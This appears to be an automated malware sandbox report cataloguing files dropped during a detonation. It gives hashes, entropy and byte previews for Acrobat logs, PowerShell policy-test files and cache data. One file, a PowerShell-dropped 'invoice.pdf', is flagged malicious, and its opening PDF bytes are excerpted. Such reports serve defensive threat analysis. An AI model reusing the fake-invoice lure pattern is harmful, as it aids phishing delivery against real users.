SHA-512:	9B0BA0CECAC1FEDBBDFB437C170AF742038076E108B0DE44C68F60932E65BB7DD9907F6F660DADD30154DE40434D01E95CD51E8C4CAF2EF4005813035113225F
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllul5mxllp:NllU4x/
MD5:	3A925CB766CE4286E251C26E90B55CE8
SHA1:	3FA8EE6E901101A4661723B94D6C9309E281BD28
SHA-256:	4E844662CDFFAAD50BA6320DC598EBE0A31619439D0F6AB379DF978FE81C7BF8
SHA-512:	F348B4AFD42C262BBED07D6BDEA6EE4B7F5CFA2E18BFA725225584E93251188D9787506C2AFEAC482B606B1EA0341419F229A69FF1E9100B01DE42025F915788
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIb7db1.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE34l6e:Qw946cPbiOxDlbYnuRK+bD3s
MD5:	4A8B351B06222714C1864517C271DD6D
SHA1:	A16F645742DAAA71AE8C456AE428DA2142BB756B
SHA-256:	D248A8E7931071297167ABF3741F2ACF786BB9AFB19C33A4ED3DCBBC9B93317C
SHA-512:	6CD94CDB26B30AE8DCF17E80CD7BF755600BA3FB782FF11F47B563EAA98FC0E1FE123480EB4399BE0404BD940CD22436577572DD17529A0EE12691D7A03DA7A1
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.0.8.:.5.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1lmpmtfo.nos.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qaqtij5e.gwb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A919jg0sa_1eujnb7_140.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9mkbv3x_1eujnba_140.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-08-48-711.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.358009851640967
Encrypted:	false
SSDEEP:	384:ToE6XX+cAa99YK+MCzXZ/5r6iFisb9aL/sHFrTlWz5qWMxs1Fuj+XMXj+mQttq6L:OtN
MD5:	068403E4B9323C1876304FE637198DF3
SHA1:	4B485A1D112A785990099454552E58927DEB4693
SHA-256:	A4DBE4355356806FAF64E143CD89C96DF94BA0A758C2A0B33786F744E02ADB89
SHA-512:	3660EFD4310D6D0CC9453BBA545CBAC6EDA8AAC228F853BF9ABE43BFD98FD250069DF57A3AEF5A6F0505D7281B69AB8E7AAFAD173745E59772F1E9679F2DD0AD
Malicious:	false
Preview:	SessionID=fb7388b0-56cf-4006-8f03-e2c5fbdd11d8.1736528928726 Timestamp=2025-01-10T12:08:48:726-0500 ThreadID=7932 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=fb7388b0-56cf-4006-8f03-e2c5fbdd11d8.1736528928726 Timestamp=2025-01-10T12:08:48:727-0500 ThreadID=7932 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=fb7388b0-56cf-4006-8f03-e2c5fbdd11d8.1736528928726 Timestamp=2025-01-10T12:08:48:727-0500 ThreadID=7932 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=fb7388b0-56cf-4006-8f03-e2c5fbdd11d8.1736528928726 Timestamp=2025-01-10T12:08:48:728-0500 ThreadID=7932 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=fb7388b0-56cf-4006-8f03-e2c5fbdd11d8.1736528928726 Timestamp=2025-01-10T12:08:48:728-0500 ThreadID=7932 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.385126428071661
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rH:eO
MD5:	47473EF19A5D6BFF97EE375B7EE9FB1C
SHA1:	79C431D3486F3B8D68007865DB185EED6901873F
SHA-256:	03C1FEC3DA7EDA69433131F63D4D12CDB139E314A3F2B43DB0A17E8F64E4CA22
SHA-512:	26D982213503E13FC45D9EBE6362688CCED254C0C04954D387B685C128978722932ADF1E01E9411DFB29F48CDE0307EA346BEA858B45BC8C4C6D2480E4291295
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0306f0cb-21de-4574-a222-c4c864ce9ba4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\089dc4e8-ea5c-4594-93ec-534531e17efd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\3e7bb730-c5c3-4198-93f6-bdf058952459.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\510b2f7c-6ba7-4529-aa71-a05808fbcba2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
